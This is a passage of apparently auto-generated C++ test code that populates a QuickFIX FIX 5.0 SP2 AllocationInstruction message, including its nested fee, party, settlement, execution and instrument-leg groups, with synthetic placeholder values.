noClearingInstructions_2_1_1;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_3;\n      set_field(noClearingInstructions_2_1_1, FIX::ClearingInstruction{3}, ClrInstGrp_NoClearingInstructions_3);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_3);\n      all_compo_names.insert(\"...NoAllocs...NoClearingInstructions\");\n\n      noAllocs_0_2.addGroup(noClearingInstructions_2_1_1);\n    }\n    // CommissionData\n    multiset<string> CommissionData_2;\n    set_field(noAllocs_0_2, FIX::CommCurrency{\"EUR\"}, CommissionData_2);\n    set_field(noAllocs_0_2, FIX::CommType{'1'}, CommissionData_2);\n    FIX::Commission Commission_2;\n    Commission_2.setString(\"17465051\");\nset_field(noAllocs_0_2, Commission_2, CommissionData_2);\n    set_field(noAllocs_0_2, FIX::FundRenewWaiv{'Y'}, CommissionData_2);\n    all_values.push_back(CommissionData_2);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_2_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_5;\n      FIX::MiscFeeAmt MiscFeeAmt_5;\n      MiscFeeAmt_5.setString(\"19596913\");\nset_field(noMiscFees_2_1_0, MiscFeeAmt_5, MiscFeesGrp_NoMiscFees_5);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeBasis{1}, MiscFeesGrp_NoMiscFees_5);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeCurr{\"EUR\"}, MiscFeesGrp_NoMiscFees_5);\n      set_field(noMiscFees_2_1_0, FIX::MiscFeeType{\"STRING_13\"}, MiscFeesGrp_NoMiscFees_5);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_5);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_2.addGroup(noMiscFees_2_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_2_1_1;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_6;\n      FIX::MiscFeeAmt MiscFeeAmt_6;\n      MiscFeeAmt_6.setString(\"18629410\");\nset_field(noMiscFees_2_1_1, MiscFeeAmt_6, MiscFeesGrp_NoMiscFees_6);\n      set_field(noMiscFees_2_1_1, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_6);\n      set_field(noMiscFees_2_1_1, FIX::MiscFeeCurr{\"EUR\"}, MiscFeesGrp_NoMiscFees_6);\n      set_field(noMiscFees_2_1_1, FIX::MiscFeeType{\"STRING_8\"}, MiscFeesGrp_NoMiscFees_6);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_6);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_2.addGroup(noMiscFees_2_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_2_1_2;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_7;\n      FIX::MiscFeeAmt MiscFeeAmt_7;\n      MiscFeeAmt_7.setString(\"15615359\");\nset_field(noMiscFees_2_1_2, MiscFeeAmt_7, MiscFeesGrp_NoMiscFees_7);\n      set_field(noMiscFees_2_1_2, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_7);\n      set_field(noMiscFees_2_1_2, FIX::MiscFeeCurr{\"EUR\"}, MiscFeesGrp_NoMiscFees_7);\n      set_field(noMiscFees_2_1_2, FIX::MiscFeeType{\"STRING_2\"}, MiscFeesGrp_NoMiscFees_7);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_7);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_2.addGroup(noMiscFees_2_1_2);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_2_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_7;\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyID{\"STRING_408266547\"}, NestedParties_NoNestedPartyIDs_7);\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_7);\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyRole{1458748721}, NestedParties_NoNestedPartyIDs_7);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_7);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_19;\n        set_field(noNestedPartySubIDs_2_0_2_0, FIX::NestedPartySubID{\"STRING_1791266953\"}, NstdPtysSubGrp_NoNestedPartySubIDs_19);\n        set_field(noNestedPartySubIDs_2_0_2_0, FIX::NestedPartySubIDType{1320957268}, NstdPtysSubGrp_NoNestedPartySubIDs_19);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_19);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_0.addGroup(noNestedPartySubIDs_2_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_20;\n        set_field(noNestedPartySubIDs_2_0_2_1, FIX::NestedPartySubID{\"STRING_1028578745\"}, NstdPtysSubGrp_NoNestedPartySubIDs_20);\n        set_field(noNestedPartySubIDs_2_0_2_1, FIX::NestedPartySubIDType{1739621987}, NstdPtysSubGrp_NoNestedPartySubIDs_20);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_20);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_0.addGroup(noNestedPartySubIDs_2_0_2_1);\n      }\n      noAllocs_0_2.addGroup(noNestedPartyIDs_2_1_0);\n    }\n    // SettlInstructionsData\n    multiset<string> SettlInstructionsData_2;\n    set_field(noAllocs_0_2, FIX::SettlDeliveryType{1}, SettlInstructionsData_2);\n    set_field(noAllocs_0_2, FIX::StandInstDbID{\"STRING_314215797\"}, SettlInstructionsData_2);\n    set_field(noAllocs_0_2, FIX::StandInstDbName{\"STRING_502933127\"}, SettlInstructionsData_2);\n    set_field(noAllocs_0_2, FIX::StandInstDbType{0}, SettlInstructionsData_2);\n    all_values.push_back(SettlInstructionsData_2);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // DlvyInstGrp\n    // Group DlvyInstGrp.NoDlvyInst\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst noDlvyInst_2_1_0;\n      // DlvyInstGrp.NoDlvyInst\n      multiset<string> DlvyInstGrp_NoDlvyInst_3;\n      set_field(noDlvyInst_2_1_0, FIX::DlvyInstType{'C'}, DlvyInstGrp_NoDlvyInst_3);\n      set_field(noDlvyInst_2_1_0, FIX::SettlInstSource{'2'}, DlvyInstGrp_NoDlvyInst_3);\n      all_values.push_back(DlvyInstGrp_NoDlvyInst_3);\n      all_compo_names.insert(\"...NoAllocs....NoDlvyInst\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_2_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_3;\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyID{\"STRING_1488602974\"}, SettlParties_NoSettlPartyIDs_3);\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyIDSource{'2'}, SettlParties_NoSettlPartyIDs_3);\n        set_field(noSettlPartyIDs_2_0_2_0, FIX::SettlPartyRole{1002136959}, SettlParties_NoSettlPartyIDs_3);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_3);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_5;\n          set_field(noSettlPartySubIDs_2_0_0_3_0, FIX::SettlPartySubID{\"STRING_2144842366\"}, SettlPtysSubGrp_NoSettlPartySubIDs_5);\n          set_field(noSettlPartySubIDs_2_0_0_3_0, FIX::SettlPartySubIDType{1273264078}, SettlPtysSubGrp_NoSettlPartySubIDs_5);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_5);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_0_2_0.addGroup(noSettlPartySubIDs_2_0_0_3_0);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_0_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_6;\n          set_field(noSettlPartySubIDs_2_0_0_3_1, FIX::SettlPartySubID{\"STRING_2030431246\"}, SettlPtysSubGrp_NoSettlPartySubIDs_6);\n          set_field(noSettlPartySubIDs_2_0_0_3_1, FIX::SettlPartySubIDType{583528042}, SettlPtysSubGrp_NoSettlPartySubIDs_6);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_6);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_0_2_0.addGroup(noSettlPartySubIDs_2_0_0_3_1);\n        }\n        noDlvyInst_2_1_0.addGroup(noSettlPartyIDs_2_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_2_0_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_4;\n        set_field(noSettlPartyIDs_2_0_2_1, FIX::SettlPartyID{\"STRING_362126205\"}, SettlParties_NoSettlPartyIDs_4);\n        set_field(noSettlPartyIDs_2_0_2_1, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_4);\n        set_field(noSettlPartyIDs_2_0_2_1, FIX::SettlPartyRole{589857529}, SettlParties_NoSettlPartyIDs_4);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_4);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_0_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_7;\n          set_field(noSettlPartySubIDs_2_0_1_3_0, FIX::SettlPartySubID{\"STRING_794466367\"}, SettlPtysSubGrp_NoSettlPartySubIDs_7);\n          set_field(noSettlPartySubIDs_2_0_1_3_0, FIX::SettlPartySubIDType{1073172362}, SettlPtysSubGrp_NoSettlPartySubIDs_7);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_7);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_0_2_1.addGroup(noSettlPartySubIDs_2_0_1_3_0);\n        }\n        noDlvyInst_2_1_0.addGroup(noSettlPartyIDs_2_0_2_1);\n      }\n      noAllocs_0_2.addGroup(noDlvyInst_2_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst noDlvyInst_2_1_1;\n      // DlvyInstGrp.NoDlvyInst\n      multiset<string> DlvyInstGrp_NoDlvyInst_4;\n      set_field(noDlvyInst_2_1_1, FIX::DlvyInstType{'S'}, DlvyInstGrp_NoDlvyInst_4);\n      set_field(noDlvyInst_2_1_1, FIX::SettlInstSource{'3'}, DlvyInstGrp_NoDlvyInst_4);\n      all_values.push_back(DlvyInstGrp_NoDlvyInst_4);\n      all_compo_names.insert(\"...NoAllocs....NoDlvyInst\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_2_1_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_5;\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyID{\"STRING_2001215832\"}, SettlParties_NoSettlPartyIDs_5);\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyIDSource{'2'}, SettlParties_NoSettlPartyIDs_5);\n        set_field(noSettlPartyIDs_2_1_2_0, FIX::SettlPartyRole{522465450}, SettlParties_NoSettlPartyIDs_5);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_5);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_8;\n          set_field(noSettlPartySubIDs_2_1_0_3_0, FIX::SettlPartySubID{\"STRING_913939368\"}, SettlPtysSubGrp_NoSettlPartySubIDs_8);\n          set_field(noSettlPartySubIDs_2_1_0_3_0, FIX::SettlPartySubIDType{114603790}, SettlPtysSubGrp_NoSettlPartySubIDs_8);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_8);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_0.addGroup(noSettlPartySubIDs_2_1_0_3_0);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_9;\n          set_field(noSettlPartySubIDs_2_1_0_3_1, FIX::SettlPartySubID{\"STRING_314213746\"}, SettlPtysSubGrp_NoSettlPartySubIDs_9);\n          set_field(noSettlPartySubIDs_2_1_0_3_1, FIX::SettlPartySubIDType{1228155165}, SettlPtysSubGrp_NoSettlPartySubIDs_9);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_9);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_0.addGroup(noSettlPartySubIDs_2_1_0_3_1);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_0_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_10;\n          set_field(noSettlPartySubIDs_2_1_0_3_2, FIX::SettlPartySubID{\"STRING_617536917\"}, SettlPtysSubGrp_NoSettlPartySubIDs_10);\n          set_field(noSettlPartySubIDs_2_1_0_3_2, FIX::SettlPartySubIDType{1031509086}, SettlPtysSubGrp_NoSettlPartySubIDs_10);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_10);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_0.addGroup(noSettlPartySubIDs_2_1_0_3_2);\n        }\n        noDlvyInst_2_1_1.addGroup(noSettlPartyIDs_2_1_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_2_1_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_6;\n        set_field(noSettlPartyIDs_2_1_2_1, FIX::SettlPartyID{\"STRING_1141392489\"}, SettlParties_NoSettlPartyIDs_6);\n        set_field(noSettlPartyIDs_2_1_2_1, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_6);\n        set_field(noSettlPartyIDs_2_1_2_1, FIX::SettlPartyRole{1941812695}, SettlParties_NoSettlPartyIDs_6);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_6);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_11;\n          set_field(noSettlPartySubIDs_2_1_1_3_0, FIX::SettlPartySubID{\"STRING_397093553\"}, SettlPtysSubGrp_NoSettlPartySubIDs_11);\n          set_field(noSettlPartySubIDs_2_1_1_3_0, FIX::SettlPartySubIDType{76230339}, SettlPtysSubGrp_NoSettlPartySubIDs_11);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_11);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_1.addGroup(noSettlPartySubIDs_2_1_1_3_0);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_1_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_12;\n          set_field(noSettlPartySubIDs_2_1_1_3_1, FIX::SettlPartySubID{\"STRING_1868974424\"}, SettlPtysSubGrp_NoSettlPartySubIDs_12);\n          set_field(noSettlPartySubIDs_2_1_1_3_1, FIX::SettlPartySubIDType{227619655}, SettlPtysSubGrp_NoSettlPartySubIDs_12);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_12);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_1.addGroup(noSettlPartySubIDs_2_1_1_3_1);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_1_1_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_13;\n          set_field(noSettlPartySubIDs_2_1_1_3_2, FIX::SettlPartySubID{\"STRING_73589058\"}, SettlPtysSubGrp_NoSettlPartySubIDs_13);\n          set_field(noSettlPartySubIDs_2_1_1_3_2, FIX::SettlPartySubIDType{994754854}, SettlPtysSubGrp_NoSettlPartySubIDs_13);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_13);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_1_2_1.addGroup(noSettlPartySubIDs_2_1_1_3_2);\n        }\n        noDlvyInst_2_1_1.addGroup(noSettlPartyIDs_2_1_2_1);\n      }\n      noAllocs_0_2.addGroup(noDlvyInst_2_1_1);\n    }\n    msg.addGroup(noAllocs_0_2);\n  }\n  // ExecAllocGrp\n  // Group ExecAllocGrp.NoExecs\n  {\n    FIX50SP2::AllocationInstruction::NoExecs noExecs_0_0;\n    // ExecAllocGrp.NoExecs\n    multiset<string> ExecAllocGrp_NoExecs_0;\n    set_field(noExecs_0_0, FIX::ExecID{\"STRING_657117100\"}, ExecAllocGrp_NoExecs_0);\n    set_field(noExecs_0_0, FIX::FirmTradeID{\"STRING_1356881060\"}, ExecAllocGrp_NoExecs_0);\n    set_field(noExecs_0_0, FIX::LastCapacity{'2'}, ExecAllocGrp_NoExecs_0);\n    FIX::LastParPx LastParPx_0;\n    LastParPx_0.setString(\"12469746\");\nset_field(noExecs_0_0, LastParPx_0, ExecAllocGrp_NoExecs_0);\n    FIX::LastPx LastPx_0;\n    LastPx_0.setString(\"15619838\");\nset_field(noExecs_0_0, LastPx_0, ExecAllocGrp_NoExecs_0);\n    FIX::LastQty LastQty_0;\n    LastQty_0.setString(\"2020335\");\nset_field(noExecs_0_0, LastQty_0, ExecAllocGrp_NoExecs_0);\n    set_field(noExecs_0_0, FIX::SecondaryExecID{\"STRING_172663343\"}, ExecAllocGrp_NoExecs_0);\n    set_field(noExecs_0_0, FIX::TradeID{\"STRING_2104450929\"}, ExecAllocGrp_NoExecs_0);\n    all_values.push_back(ExecAllocGrp_NoExecs_0);\n    all_compo_names.insert(\"...NoExecs\");\n\n    msg.addGroup(noExecs_0_0);\n  }\n  // FinancingDetails\n  multiset<string> FinancingDetails_0;\n  set_field(msg, FIX::AgreementCurrency{\"USD\"}, FinancingDetails_0);\n  set_field(msg, FIX::AgreementDate{\"LOCALMKTDATE_1958183114\"}, FinancingDetails_0);\n  set_field(msg, FIX::AgreementDesc{\"STRING_1290127103\"}, FinancingDetails_0);\n  set_field(msg, FIX::AgreementID{\"STRING_1573810939\"}, FinancingDetails_0);\n  set_field(msg, FIX::DeliveryType{2}, FinancingDetails_0);\n  set_field(msg, FIX::EndDate{\"LOCALMKTDATE_56582823\"}, FinancingDetails_0);\n  FIX::MarginRatio MarginRatio_0;\n  MarginRatio_0.setString(\"47.290000\");\nset_field(msg, MarginRatio_0, FinancingDetails_0);\n  set_field(msg, FIX::StartDate{\"LOCALMKTDATE_1299602664\"}, FinancingDetails_0);\n  set_field(msg, FIX::TerminationType{1}, FinancingDetails_0);\n  all_values.push_back(FinancingDetails_0);\n  all_compo_names.insert(\".\");\n\n  // InstrmtLegGrp\n  // Group InstrmtLegGrp.NoLegs\n  {\n    FIX50SP2::AllocationInstruction::NoLegs noLegs_0_0;\n    // InstrmtLegGrp.NoLegs\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_2;\n    set_field(noLegs_0_0, FIX::EncodedLegIssuer{\"DATA_183628102\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::EncodedLegIssuerLen{278646829}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDesc{\"DATA_1214442225\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDescLen{2125440797}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegCFICode{\"STRING_1145484294\"}, InstrumentLeg_2);\n    FIX::LegContractMultiplier LegContractMultiplier_2;\n    LegContractMultiplier_2.setString(\"16115357\");\nset_field(noLegs_0_0, LegContractMultiplier_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegContractMultiplierUnit{54187489}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegContractSettlMonth{\"MONTHYEAR_866975071\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegCountryOfIssue{\"COUNTRY_1839155433\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_127776547\"}, InstrumentLeg_2);\n    FIX::LegCouponRate LegCouponRate_2;\n    LegCouponRate_2.setString(\"99.250000\");\nset_field(noLegs_0_0, LegCouponRate_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegCreditRating{\"STRING_1949722686\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegCurrency{\"CAN\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegDatedDate{\"LOCALMKTDATE_1357289883\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegExerciseStyle{2031868276}, InstrumentLeg_2);\n    FIX::LegFactor LegFactor_2;\n    LegFactor_2.setString(\"4856275\");\nset_field(noLegs_0_0, LegFactor_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegFlowScheduleType{1559323448}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegInstrRegistry{\"STRING_57047971\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_442594789\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegIssueDate{\"LOCALMKTDATE_816606280\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegIssuer{\"STRING_1108393460\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegLocaleOfIssue{\"STRING_253294255\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegMaturityDate{\"LOCALMKTDATE_2106733383\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegMaturityMonthYear{\"MONTHYEAR_534720751\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegMaturityTime{\"TZTIMEONLY_1238683174\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegOptAttribute{'1'}, InstrumentLeg_2);\n    FIX::LegOptionRatio LegOptionRatio_2;\n    LegOptionRatio_2.setString(\"756518\");\nset_field(noLegs_0_0, LegOptionRatio_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegPool{\"STRING_390802190\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegPriceUnitOfMeasure{\"STRING_1300570547\"}, InstrumentLeg_2);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_2;\n    LegPriceUnitOfMeasureQty_2.setString(\"2341198\");\nset_field(noLegs_0_0, LegPriceUnitOfMeasureQty_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegProduct{574430293}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegPutOrCall{1579217376}, InstrumentLeg_2);\n    FIX::LegRatioQty LegRatioQty_2;\n    LegRatioQty_2.setString(\"14485620\");\nset_field(noLegs_0_0, LegRatioQty_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegRedemptionDate{\"LOCALMKTDATE_552387442\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegRepoCollateralSecurityType{\"STRING_577218023\"}, InstrumentLeg_2);\n    FIX::LegRepurchaseRate LegRepurchaseRate_2;\n    LegRepurchaseRate_2.setString(\"41.850000\");\nset_field(noLegs_0_0, LegRepurchaseRate_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegRepurchaseTerm{606574931}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecurityDesc{\"STRING_1444193094\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecurityExchange{\"EXCHANGE_604285970\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecurityID{\"STRING_734351478\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecurityIDSource{\"STRING_1158439371\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecuritySubType{\"STRING_406525008\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSecurityType{\"STRING_1519245125\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSide{'8'}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegStateOrProvinceOfIssue{\"STRING_1763814891\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegStrikeCurrency{\"EUR\"}, InstrumentLeg_2);\n    FIX::LegStrikePrice LegStrikePrice_2;\n    LegStrikePrice_2.setString(\"11756546\");\nset_field(noLegs_0_0, LegStrikePrice_2, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSymbol{\"STRING_1460677725\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegSymbolSfx{\"STRING_1010305358\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegTimeUnit{\"STRING_1992260972\"}, InstrumentLeg_2);\n    set_field(noLegs_0_0, FIX::LegUnitOfMeasure{\"STRING_421587537\"}, InstrumentLeg_2);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_2;\n    LegUnitOfMeasureQty_2.setString(\"12635996\");\nset_field(noLegs_0_0, LegUnitOfMeasureQty_2, 